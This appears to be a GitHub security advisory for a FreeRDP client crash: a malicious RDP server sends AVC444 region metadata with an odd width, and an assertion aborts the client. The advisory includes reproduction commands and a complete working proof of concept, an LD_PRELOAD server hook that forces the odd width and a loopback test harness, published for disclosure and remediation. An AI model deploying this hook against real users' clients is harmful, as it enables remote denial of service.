Odd-width AVC444 region metadata remotely aborts FreeRDP clients
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
A malicious or compromised RDP server can terminate a FreeRDP client after Graphics Pipeline AVC444 negotiation by sending an in-bounds AVC444 or AVC444v2 region rectangle with an odd width. The wire parser checks that the rectangle is nonempty and correctly ordered, and the codec checks that it remains within the destination surface, but neither layer validates the width parity required by the YUV444 conversion primitive.
The vulnerable sequence is:
const INT32 width = rect->right - rect->left; /* ... */ roi.width = WINPR_ASSERTING_INT_CAST(uint32_t, width); /* ... */ WINPR_ASSERT((nWidth % 2) == 0); for (; x < nWidth; x += 2) BGRX_fillRGB(x, pDst, YData, UData, VData, TRUE);
An odd value reaches the assertion and aborts an assertion-enabled client. The complete wire/product proof uses an actual TLS RDP session, xfreerdp, the FreeRDP shadow server, negotiated Dynamic Virtual Channel and RDPGFX support, and stock shadow-server H.264 content. A small server-side wrapper changes only the first AVC444 region coordinate before the normal SurfaceFrameCommand serializes the frame.
The matched even-width control remained connected through the observation interval. The odd-width positive case was accepted by the server callback, parsed as a real AVC444v2 WireToSurface1 PDU by the client, and then terminated the client with SIGABRT before cleanup.
The demonstrated impact is availability loss only. An assert-disabled focused replay confirms a one-pixel logical surface overrun, but the stock GDI allocation tested had eight bytes of tail slack and the write did not cross the actual allocation boundary. Code execution, confidentiality loss, integrity loss, and a full-wire release-build write beyond the allocation were not demonstrated and are not claimed.
This report consolidates observations of one root cause. Searches of FreeRDP's public advisories, issues, pull requests, and commit history found no exact public duplicate or fix. Public issue #7837 is a distinct libavcodec decoder crash. GHSA-vx73-w5q6-7jqr is a distinct integer-overflow flaw in AVC444 buffer allocation.
Impact
Mallory controls a malicious or compromised RDP server. Alice initiates a connection and negotiates RDPGFX AVC444. Mallory sends an otherwise valid AVC444 or AVC444v2 frame with an odd-width region in its metadata. The FreeRDP client aborts while converting the decoded YUV444 region.
The attack is network reachable, needs no FreeRDP-local privileges, and is deterministic after the client connects. User interaction is required because Alice must initiate the RDP connection. Restarting the client restores the process, but a server that repeats the frame can prevent use of that connection. No effect on other clients or server availability was demonstrated.
Validation
The product E2E used revision fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3 with a Debug ASan/UBSan build, OpenH264, FFmpeg, xfreerdp, and the FreeRDP shadow server. The control and positive cases each established a real TLS RDP session and negotiated an AVC444v2 surface update:
- Even control: region
0,0-1280,1024, width 1280; callback returned success; client remained alive until cleanup. - Odd positive: region
1,0-1280,1024, width 1279; callback returned success; client parsed the 7836-byte AVC444v2 payload and exited 134 fromSIGABRTbefore cleanup.
The decisive source files are unchanged between the tested revision and inspected master revision 193fe551c9925c761722f589437decf9bc81d7aa. The stable 3.31.1 revision 63b948ca5cb94307fd5444ee6e73927a41ccdab4 contains the same parser, width propagation, and two-pixel primitive behavior.
Selected output, with a local source path omitted, was:
marker_seen=1 client_died_before_cleanup=0 client_rc=145 marker_seen=1 client_died_before_cleanup=1 client_rc=134 AVC444_E2E_STREAM0 rects=1 first=0,0-1280,1024 width=1280 AVC444_E2E_STREAM0 rects=1 first=1,0-1280,1024 width=1279 RecvWireToSurface1Pdu: codecId: RDPGFX_CODECID_AVC444v2 (0x000F), bitmapDataLength: 7836 winpr_int_assert: (((nWidth % 2) == 0)) [local source path omitted] Caught signal 'Aborted' [6] RESULT vulnerable: even AVC444v2 control remained connected; odd-width frame aborted the client
Reproduction
Use a matching shared FreeRDP build with OpenH264, FFmpeg, the X11 client, the shadow server, and AddressSanitizer/UndefinedBehaviorSanitizer enabled. The package validates the full source revision before running and uses loopback-only test servers. It intentionally aborts the disposable positive-case client.
git clone https://github.com/FreeRDP/FreeRDP.git freerdp-src git -C freerdp-src checkout fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3 cmake -S freerdp-src -B freerdp-build \ -DCMAKE_BUILD_TYPE=Debug \ -DBUILD_SHARED_LIBS=ON \ -DWITH_OPENH264=ON \ -DWITH_FFMPEG=ON \ -DCMAKE_C_FLAGS='-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer -fno-common' cmake --build freerdp-build --target xfreerdp freerdp-shadow-cli --parallel 4 Xvfb :99 -screen 0 1280x1024x24 & xvfb_pid=$! DISPLAY=:99 \ FREERDP_SOURCE="$PWD/freerdp-src" \ FREERDP_BUILD="$PWD/freerdp-build" \ EXPECTED_REVISION=fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3 \ ./poc/run.sh kill "$xvfb_pid" rm -rf poc/.work
Suggested remediation
Validate the AVC444 region width before dispatching to a two-pixel YUV444 conversion primitive. Reject odd-width metadata with a normal channel or codec error, or implement a safe single-pixel remainder path in every generic and optimized primitive. Assertions should remain developer diagnostics, not the only validation of peer-controlled protocol data.
Add real WireToSurface regression coverage for AVC444 and AVC444v2, both LC forms, odd and even widths, and right-edge regions in assertion-enabled and NDEBUG builds under AddressSanitizer.
Complete PoC files
<!-- BEGIN FILE: poc/avc444_wire_hook.c -->
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <freerdp/server/rdpgfx.h>
typedef RdpgfxServerContext* (*new_fn)(HANDLE);
typedef UINT (*surface_frame_fn)(RdpgfxServerContext*, const RDPGFX_SURFACE_COMMAND*,
const RDPGFX_START_FRAME_PDU*, const RDPGFX_END_FRAME_PDU*);
static surface_frame_fn original_surface_frame;
static unsigned eligible_calls;
static RECTANGLE_16* copy_rects(const RDPGFX_H264_METABLOCK* meta)
{
RECTANGLE_16* rects = NULL;
if (!meta || (meta->numRegionRects == 0) || !meta->regionRects)
return NULL;
rects = calloc(meta->numRegionRects, sizeof(*rects));
if (rects)
memcpy(rects, meta->regionRects, meta->numRegionRects * sizeof(*rects));
return rects;
}
static void make_first_width_odd(RDPGFX_H264_METABLOCK* meta)
{
if (!meta || (meta->numRegionRects == 0) || !meta->regionRects)
return;
RECTANGLE_16* rect = &meta->regionRects[0];
if ((rect->right > rect->left) && (((rect->right - rect->left) % 2U) == 0U))
rect->left++;
}
static void log_meta(const char* label, const RDPGFX_H264_METABLOCK* meta)
{
if (!meta || (meta->numRegionRects == 0) || !meta->regionRects)
{
fprintf(stderr, "AVC444_E2E_%s rects=0\n", label);
return;
}
const RECTANGLE_16* rect = &meta->regionRects[0];
fprintf(stderr, "AVC444_E2E_%s rects=%u first=%u,%u-%u,%u width=%u\n", label,
meta->numRegionRects, rect->left, rect->top, rect->right, rect->bottom,
rect->right - rect->left);
}
static UINT controlled_surface_frame(RdpgfxServerContext* context,
const RDPGFX_SURFACE_COMMAND* input,
const RDPGFX_START_FRAME_PDU* start,
const RDPGFX_END_FRAME_PDU* end)
{
const char* mode = getenv("AVC444_E2E_MODE");
if (!input || !original_surface_frame ||
((input->codecId != RDPGFX_CODECID_AVC444) &&
(input->codecId != RDPGFX_CODECID_AVC444v2)) ||
!input->extra)
return original_surface_frame(context, input, start, end);
RDPGFX_SURFACE_COMMAND command = *input;
RDPGFX_AVC444_BITMAP_STREAM stream =
*(const RDPGFX_AVC444_BITMAP_STREAM*)input->extra;
RECTANGLE_16* rects0 = copy_rects(&stream.bitstream[0].meta);
RECTANGLE_16* rects1 = copy_rects(&stream.bitstream[1].meta);
if ((stream.bitstream[0].meta.numRegionRects && !rects0) ||
(stream.bitstream[1].meta.numRegionRects && !rects1))
{
free(rects0);
free(rects1);
return original_surface_frame(context, input, start, end);
}
stream.bitstream[0].meta.regionRects = rects0;
stream.bitstream[1].meta.regionRects = rects1;
if (mode && (strcmp(mode, "odd") == 0))
{
make_first_width_odd(&stream.bitstream[0].meta);
make_first_width_odd(&stream.bitstream[1].meta);
}
eligible_calls++;
fprintf(stderr,
"AVC444_E2E_SEND call=%u mode=%s codec=0x%04x LC=%u outer=%u,%u-%u,%u\n",
eligible_calls, mode ? mode : "control", command.codecId, stream.LC,
command.left, command.top, command.right, command.bottom);
log_meta("STREAM0", &stream.bitstream[0].meta);
log_meta("STREAM1", &stream.bitstream[1].meta);
command.extra = &stream;
const UINT rc = original_surface_frame(context, &command, start, end);
fprintf(stderr, "AVC444_E2E_RESULT call=%u rc=%u\n", eligible_calls, rc);
free(rects0);
free(rects1);
return rc;
}
RdpgfxServerContext* rdpgfx_server_context_new(HANDLE vcm)
{
static new_fn original_new;
if (!original_new)
original_new = (new_fn)dlsym(RTLD_NEXT, "rdpgfx_server_context_new");
if (!original_new)
return NULL;
RdpgfxServerContext* context = original_new(vcm);
if (context)
{
original_surface_frame = context->SurfaceFrameCommand;
context->SurfaceFrameCommand = controlled_surface_frame;
fprintf(stderr, "AVC444_E2E_HOOK installed\n");
}
return context;
}<!-- END FILE: poc/avc444_wire_hook.c -->
<!-- BEGIN FILE: poc/run.sh -->
#!/usr/bin/env bash
set -euo pipefail
ulimit -c 0
ROOT=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SOURCE_DIR=${FREERDP_SOURCE:?set FREERDP_SOURCE to the matching FreeRDP checkout}
BUILD_DIR=${FREERDP_BUILD:?set FREERDP_BUILD to its ASan/UBSan Debug build}
EXPECTED_REVISION=${EXPECTED_REVISION:?set EXPECTED_REVISION to the full checkout revision}
WORK_DIR=${WORK_DIR:-"$ROOT/.work"}
DISPLAY=${DISPLAY:?set DISPLAY to a disposable X server}
PORT_BASE=${PORT_BASE:-45420}
CLIENT=${FREERDP_CLIENT:-"$BUILD_DIR/client/X11/xfreerdp"}
SHADOW=${FREERDP_SHADOW:-"$BUILD_DIR/server/shadow/cli/freerdp-shadow-cli"}
actual=$(git -C "$SOURCE_DIR" rev-parse HEAD)
if [[ "$actual" != "$EXPECTED_REVISION" ]]; then
echo "revision mismatch: expected $EXPECTED_REVISION, got $actual" >&2
exit 2
fi
for executable in "$CLIENT" "$SHADOW"; do
[[ -x "$executable" ]] || { echo "missing executable: $executable" >&2; exit 2; }
done
mapfile -t libdirs < <(find "$BUILD_DIR" -type f -name '*.so.*' -printf '%h\n' | sort -u)
if [[ -n ${FREERDP_DEPS:-} ]]; then
mapfile -t depdirs < <(find "$FREERDP_DEPS" -type f -name '*.so.*' -printf '%h\n' | sort -u)
libdirs+=("${depdirs[@]}")
fi
export LD_LIBRARY_PATH
LD_LIBRARY_PATH=$(IFS=:; echo "${libdirs[*]}")
ASAN_RUNTIME=${ASAN_RUNTIME:-$(cc -print-file-name=libasan.so)}
rm -rf "$WORK_DIR"
mkdir -p "$WORK_DIR"
cc -shared -fPIC -O2 -Wall -Wextra \
-I"$BUILD_DIR/include" -I"$BUILD_DIR/winpr/include" \
-I"$SOURCE_DIR/include" -I"$SOURCE_DIR/winpr/include" \
"$ROOT/avc444_wire_hook.c" -ldl -o "$WORK_DIR/avc444_wire_hook.so"
cleanup()
{
for pid in ${client_pid:-} ${server_pid:-}; do
if [[ -n "$pid" ]] && kill -0 "$pid" 2>/dev/null; then
kill "$pid" 2>/dev/null || true
wait "$pid" 2>/dev/null || true
fi
done
}
trap cleanup EXIT HUP INT TERM
run_case()
{
local name=$1 mode=$2 port=$3
local out="$WORK_DIR/$name" marker_seen=0 died=0 rc=0
mkdir -p "$out"
AVC444_E2E_MODE="$mode" LD_PRELOAD="$ASAN_RUNTIME:$WORK_DIR/avc444_wire_hook.so" \
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
"$SHADOW" /port:"$port" /sec:tls -auth -may-view -may-interact \
/gfx /gfx-avc444 /log-level:TRACE >"$out/server.stdout" 2>"$out/server.stderr" &
server_pid=$!
sleep 1
LD_PRELOAD="$ASAN_RUNTIME" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
"$CLIENT" /v:127.0.0.1:"$port" /u:alice /p:demonstration-only \
/cert:ignore /sec:tls /gfx:AVC444 /size:800x600 /log-level:TRACE \
>"$out/client.stdout" 2>"$out/client.stderr" &
client_pid=$!
for _ in $(seq 1 200); do
if grep -q 'AVC444_E2E_RESULT' "$out/server.stderr" 2>/dev/null; then
marker_seen=1
sleep 3
break
fi
if ! kill -0 "$client_pid" 2>/dev/null; then
died=1
break
fi
sleep 0.1
done
if ! kill -0 "$client_pid" 2>/dev/null; then
died=1
else
kill "$client_pid" 2>/dev/null || true
fi
set +e
wait "$client_pid"
rc=$?
set -e
client_pid=
kill "$server_pid" 2>/dev/null || true
wait "$server_pid" 2>/dev/null || true
server_pid=
printf 'marker_seen=%s\nclient_died_before_cleanup=%s\nclient_rc=%s\n' \
"$marker_seen" "$died" "$rc" >"$out/result.txt"
}
run_case even-control control "$PORT_BASE"
run_case odd-positive odd "$((PORT_BASE + 1))"
cat "$WORK_DIR/even-control/result.txt"
cat "$WORK_DIR/odd-positive/result.txt"
grep -hE 'AVC444_E2E_(SEND|STREAM|RESULT)' "$WORK_DIR"/*/server.stderr
grep -hE 'RecvWireToSurface1Pdu|nWidth % 2|Caught signal' \
"$WORK_DIR"/*/client.stdout "$WORK_DIR"/*/client.stderr || true
grep -q 'client_died_before_cleanup=0' "$WORK_DIR/even-control/result.txt"
grep -q 'client_died_before_cleanup=1' "$WORK_DIR/odd-positive/result.txt"
grep -q 'client_rc=134' "$WORK_DIR/odd-positive/result.txt"
grep -q 'width=1280' "$WORK_DIR/even-control/server.stderr"
grep -q 'width=1279' "$WORK_DIR/odd-positive/server.stderr"
grep -q 'RDPGFX_CODECID_AVC444v2' "$WORK_DIR/odd-positive/client.stdout"
grep -q 'nWidth % 2' "$WORK_DIR/odd-positive/client.stderr"
echo 'RESULT vulnerable: even AVC444v2 control remained connected; odd-width frame aborted the client'
echo "Logs retained in $WORK_DIR; remove that directory after review."<!-- END FILE: poc/run.sh -->
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 2.0.0, <= 3.31.1GitHub